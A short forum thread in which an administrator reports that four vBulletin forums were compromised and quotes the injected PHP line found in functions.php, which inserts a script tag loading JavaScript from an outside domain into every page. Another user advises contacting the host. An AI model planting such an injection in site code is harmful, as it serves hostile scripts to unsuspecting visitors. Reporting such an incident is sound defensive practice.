Sites hacked

[tamiyausa]

all 4 of my forums got hacked

Running 3.8.4 Patch Level 1

This code was found in all my includes/functions.php @Line 5724

$vartext = str_replace('<script src='http://nt002.cn/E/J.JS'></script></body>', "<!--start debug html-->$debughtml<!--end debug html-->\n</body>", $vartext);

Giving log error

PHP Parse
error: syntax error, unexpected T_STRING in /var/www/html/forum/includes/functions.php on line 5724

[Zachery]

If they modified your files you need to get in touch with your webhost/sysadmin.

[tamiyausa]

Yep already doing that, thanks